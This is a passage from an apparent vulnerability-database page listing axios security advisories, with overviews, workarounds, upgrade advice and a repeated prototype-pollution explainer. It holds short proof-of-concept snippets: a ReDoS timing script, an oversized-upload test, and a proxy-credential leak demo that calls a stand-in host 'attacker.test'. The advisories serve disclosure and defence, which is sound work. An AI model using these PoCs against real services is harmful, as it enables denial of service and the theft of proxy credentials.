If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
Regular Expression Denial of Service (ReDoS)
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.
Note:
This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
Workaround
This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.
PoC
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the fetch adapter when finite size limits are configured but not enforced. An attacker can exhaust server resources by sending or receiving oversized request or response bodies, such as through large data: URLs or attacker-controlled uploads, bypassing the intended boundaries.
Note:
This is only exploitable if the application explicitly configures finite maxContentLength or maxBodyLength limits and relies on the fetch adapter to enforce them.
Workaround
This vulnerability can be mitigated by using the Node.js http adapter for server-side requests, validating or capping attacker-controlled request bodies before passing them to the library, and strictly allowlisting or rejecting attacker-controlled URL schemes, especially data: URLs, before making requests.
PoC
import http from 'node:http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', chunk => {
received += chunk.length;
});
req.on('end', () => {
res.end(JSON.stringify({ received }));
});
});
await new Promise(resolve => server.listen(0, resolve));
const url = `http://127.0.0.1:${server.address().port}/`;
await axios.post(url, 'A'.repeat(2 * 1024 * 1024), {
adapter: 'fetch',
maxBodyLength: 1024
});
// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.
server.close();
Remediation
Upgrade axios to version 1.16.0 or higher.
References
Insertion of Sensitive Information Into Sent Data
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.
Note:
This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the buildPath() function of lib/helpers/formDataToJSON.js, which recurses over bracket-delimited FormData key segments without a depth limit. An attacker can crash the Node.js process by supplying a FormData field name with tens of thousands of nested bracket segments, such as a[x][x][x]..., which exhausts the JavaScript call stack with a RangeError. Exploitation requires the application to pass attacker-controlled FormData into formDataToJSON, either by calling axios.formToJSON() on it or by sending it through axios with a JSON content type.
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the buildPath() function of lib/helpers/formDataToJSON.js, which recurses once per FormData key path segment without enforcing a maximum depth. An attacker can crash the process by supplying a FormData field name with thousands of nested bracket segments, such as a[x][x][x]..., which drives formDataToJSON() into recursion that exhausts the JavaScript call stack with a RangeError. Exploitation requires the application to process untrusted FormData through formToJSON() or by sending it with a JSON content type.
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the Basic authentication header construction in lib/adapters/http.js and lib/helpers/resolveConfig.js, which read the username and password from the auth object without own-property checks, so the reads traverse the prototype chain. An attacker who can pollute Object.prototype.username or Object.prototype.password can inject or override the Basic auth header on axios requests that pass an empty or partial own auth object, enabling credential exfiltration or outbound request tampering. Exploitation requires a separate prototype pollution primitive already present in the host process and an axios call pattern that supplies an empty or partial auth object, such as auth: opts.auth || {}.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 1.18.0 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HTTP/2 stream handling of lib/adapters/http.js, which does not enforce maxBodyLength on streamed uploads because the byte-counting wrapper is gated on config.maxBodyLength > -1 && config.maxRedirects === 0 and the HTTP/2 path bypasses follow-redirects with default redirect settings. An attacker who controls the upload stream can force the application to transmit arbitrarily large outbound payloads, exhausting egress, upstream quota, or connection and memory budgets, by feeding stream contents into an HTTP/2 request with a finite maxBodyLength that the limit check never inspects. Exploitation requires the Node HTTP adapter with httpVersion: 2, request data supplied as a stream, and a finite maxBodyLength, while HTTP/1.1 requests through follow-redirects, buffered String/Buffer/ArrayBuffer bodies, and the default unlimited maxBodyLength: -1 are unaffected.
Workaround
This vulnerability can be avoided on axios 1.15.1 and later by setting maxRedirects: 0 on the affected HTTP/2 streamed upload calls, which activates the existing byte-counting wrapper so oversized streams are rejected.
Remediation
Upgrade axios to version 1.18.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the Node HTTP adapter (lib/adapters/http.js), which reads config.proxy through the prototype chain after a request interceptor returns a plain-object clone that lib/core/dispatchRequest.js dispatches without re-applying the null-prototype hardening. An attacker who can pollute Object.prototype.proxy can route a victim's outbound plaintext HTTP requests through an attacker-controlled proxy, disclosing Authorization headers, Basic credentials, request metadata, and POST bodies and enabling forged responses, when the application uses an interceptor that returns a spread or Object.assign copy of the config. Exploitation requires the Node HTTP adapter, a separately polluted Object.prototype.proxy, a request interceptor that returns a plain-object copy of the config, and no own proxy value on the request, and HTTPS under normal TLS validation does not disclose the headers or body.
Workaround
This vulnerability can be avoided by setting proxy: false on the affected requests or the axios instance, which supplies an own proxy value that shadows the polluted prototype property.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the getBodyLength() and resolveBodyLength() functions of lib/adapters/fetch.js, which lack a branch for WHATWG ReadableStream bodies, so the resolved length is undefined and the pre-dispatch maxBodyLength check is skipped. An attacker who controls a streamed request body can transmit uploads that exceed the configured maxBodyLength, causing unexpected outbound egress and consuming upstream API quota or bandwidth, by supplying a ReadableStream without a reliable Content-Length to a fetch-adapter request. Exploitation requires the fetch adapter, a body-bearing method such as POST, PUT, or PATCH, request data supplied as a ReadableStream without a reliable Content-Length, and a finite maxBodyLength, while the Node HTTP adapter and known-length bodies are unaffected.
Workaround
This vulnerability can be avoided in Node.js by using the HTTP adapter (adapter: "http") for untrusted stream uploads, which enforces the stream body limit that the fetch adapter does not.
Remediation
Upgrade axios to version 1.18.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via unsafe merging of user-supplied fetchOptions in lib/adapters/fetch.js. When a caller passes a fetchOptions object, axios spreads it directly into the resolved request options without sanitizing prototype-inherited properties, allowing an attacker who controls request configuration to pollute Object.prototype and influence downstream system behavior such as request routing or security-sensitive option values.
Note: This is only exploitable when the attacker can influence the fetchOptions configuration object passed to axios requests.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 1.20.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via insufficiently hardened runtime option handling in the fetch and HTTP adapters (lib/adapters/fetch.js, lib/adapters/http.js, and related helpers), where user-controlled or prototype-polluted properties on request configuration objects are merged into fetch/request options without sanitization. An attacker who can introduce a prototype-pollution gadget elsewhere in the application can inject arbitrary properties into the resolved fetch options, leading to integrity violations on outbound requests.
Note: This is only exploitable if an existing prototype-pollution path is present in the application.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
